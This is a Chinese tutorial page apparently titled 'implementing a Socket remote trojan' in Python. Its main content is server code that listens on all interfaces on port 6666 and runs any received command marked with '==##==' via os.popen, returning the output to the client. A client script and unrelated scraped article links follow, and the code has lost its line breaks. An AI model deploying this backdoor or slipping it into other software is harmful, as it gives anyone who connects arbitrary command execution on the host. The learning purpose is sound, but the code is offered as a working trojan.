目录

一、实现Socket完整交互

1.server.py

2.client.py

3.执行结果

二、实现Socket远程木马


一、实现Socket完整交互

1.server.py

2.client.py

3.执行结果

.

二、实现Socket远程木马

server.py
import os, socket# def normal_talk():
#     s = socket.socket()
#     # s.bind(('127.0.0.1', 6666))     # 只允许本设备访问
#     s.bind(('0.0.0.0', 6666))         # 所有IP地址均可以访问6666端口
#     s.listen()
#     chanel, client = s.accept()       # 无法接受多个客户端
#     while True:
#         # chanel, client = s.accept()     # 此时accept()会进入阻塞状态
#         receive = chanel.recv(1024).decode()
#
#         print(f"收到消息:{receive}")
#         reply = receive.replace("吗?", "!")
#         chanel.send(reply.encode())# s.close()                         # 在死循环之后的代码,不可执行# 核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务器端执行命令并返回结果给客户端
def attack_talk():try:s = socket.socket()s.bind(('0.0.0.0', 6666))s.listen()chanel, client = s.accept()while True:receive = chanel.recv(1024).decode()# ==##==,commandif receive.startswith('==##=='):command = receive.split(',')[-1]reply = os.popen(command).read()chanel.send(f"命令{command}的运行结果:\n{reply}".encode())else:print(f"收到消息:{receive}")reply = receive.replace("吗?", "!")chanel.send(reply.encode())except:s.close()attack_talk()
#
if __name__ == '__main__':# normal_talk()attack_talk()
client.py
import sockets = socket.socket()
# s.connect(('127.0.0.1', 6666))
s.connect(('127.0.0.1', 6666))
while True:message = input("请输入消息:")s.send(message.encode())receive = s.recv(10240)print(f"服务器回复:{receive.decode()}")

基于Socket实现远程木马相关推荐

  1. socket recv 服务端阻塞 python_网络编程(基于socket编程)

    网络编程(基于socket编程) socket套接字:应用程序通常通过socket"套接字"向网络发送请求或应答网络请求,是主机间或同一计算机中的进程间相互通讯 socket是介于 ...

  2. 工业计算机远程控制,基于SOCKET技术的计算机远程控制实现

    摘要:时至今日,计算机网络已经成为了人类社会生活中必不可少的组成部分,其中计算机的远程控制系统更是为整个社会的进步起到推动作用.除了在工业自动化生产之外,计算机远程控制系统还广泛的应用于办公.技术支持 ...

  3. python实现简易聊天需要登录博客园zip下载_Python基于Socket实现简易多人聊天室的示例代码...

    前言 套接字(Sockets)是双向通信信道的端点. 套接字可以在一个进程内,在同一机器上的进程之间,或者在不同主机的进程之间进行通信,主机可以是任何一台有连接互联网的机器. 套接字可以通过多种不同的 ...

  4. 基于Socket实现客户端与服务端通讯

    基于Socket实现客户端与服务端通讯 socket 概述 Socket,套接字就是两台主机之间逻辑连接的端点.TCP/IP协议是传输层协议,主要解决数据如何 在网络中传输,而HTTP是应用层协议,主 ...

  5. 远程桌面监控系统java_基于Java的远程桌面监控源代码

    <基于Java的远程桌面监控源代码>由会员分享,可在线阅读,更多相关<基于Java的远程桌面监控源代码(43页珍藏版)>请在人人文库网上搜索. 1.基于Java的远程桌面监控源 ...

  6. 基于ARM的远程视频监控系统的设计

    http://www.21ic.com/app/mcu/201208/135975.htm 摘要:在ARM 微处理器平台上移植嵌入式Linux 操作系统,完成视频采集任务,并以服务器方式将图像发送到网 ...

  7. 【Java】GUI界面聊天小程序(基于Socket的客户端服务端通信)

    基于Socket的客户端服务端通信--Java GUI界面小程序 Socket概念及其通信过程: Socket是TCP/IP中的基本概念,它负责将TCP/IP包发送到指定的IP地址.也可以看成是在两个 ...

  8. android 远程控制服务,基于Android的远程控制系统

    摘 要 远程控制可以实现远程操作服务端设备,达到远距离完成计算机作业的目的.本文所描述的系统便是一种远控系统,该系统在点对点模式的基础上,利用局域网建立手机和电脑端的连接,让手机模拟鼠标功能,远程操作 ...

  9. ios视频通话三方_iOS基于Socket.io即时通讯IM实现,WebRTC实现视频通话

    Socket.io-FLSocketIM-iOS 基于Socket.io iOS即时通讯客户端 iOS IM Client based on Socket.io 实现功能 文本发送 图片发送(从相册选 ...

最新文章

  1. AI实验室•西安站 教你用人脸识别打造爆款应用
  2. Docker学习(8)——构建镜像(Dockerfile、commit)
  3. SQL获取所有数据库名、表名、储存过程以及参数列表
  4. 两机五节点电力系统的潮流仿真计算_南科大杨再跃课题组在电力系统、机器学习等领域取得重要研究成果...
  5. jax-ws实现WebService
  6. mysql(四)log
  7. PHP大势已去,PHP宝藏可为我所用
  8. 使用c++查看linux服务器某个进程正在使用的内存_精选20个常用的Linux命令
  9. PowerEdge服务器生命周期控制器:Lifecycle Controller
  10. android fragment实例化,Android使得Fragment 切换时不重新实例化
  11. 动态数组 —— 框架搭建
  12. 美国德尔里奥市遭遇勒索软件***,政府工作人员重回纸笔办公
  13. html 语音识别输入法,9种外语语音识别 搜狗输入法成国内支持语种最多输入法...
  14. 关于LCR表和万用表测电容容值不一样的怪事
  15. C++17 关键新特性介绍及代码讲解 (6) — fold expression
  16. 强制退出程序的六种方法!
  17. 《Fundamentals of Computer Grahpics》虎书第三版翻译——第四章 光线追踪
  18. 给CS专业大学生的推荐书籍
  19. BZOJ P1856 字符串
  20. python entry如何清空_如何清除tkinter中来自Entry小部件的以前输入?

热门文章

  1. FFmpeg色度抠图
  2. Git:不同仓库之间的cherry-pick
  3. 【零碎小知识】【python】selenium库模拟浏览器闪退
  4. ByVal和ByRef的区别
  5. 涂鸦画板,监听touch事件,手机端
  6. 在access中一列称为_在数据表中,每一行称为一条____,每一列称为一个____。
  7. 页面布局的方式有哪些?
  8. 中日韩文字Unicode表
  9. 如何去除视频水印?这几个方法帮你解决难题
  10. ERP开发的一些闲话—之一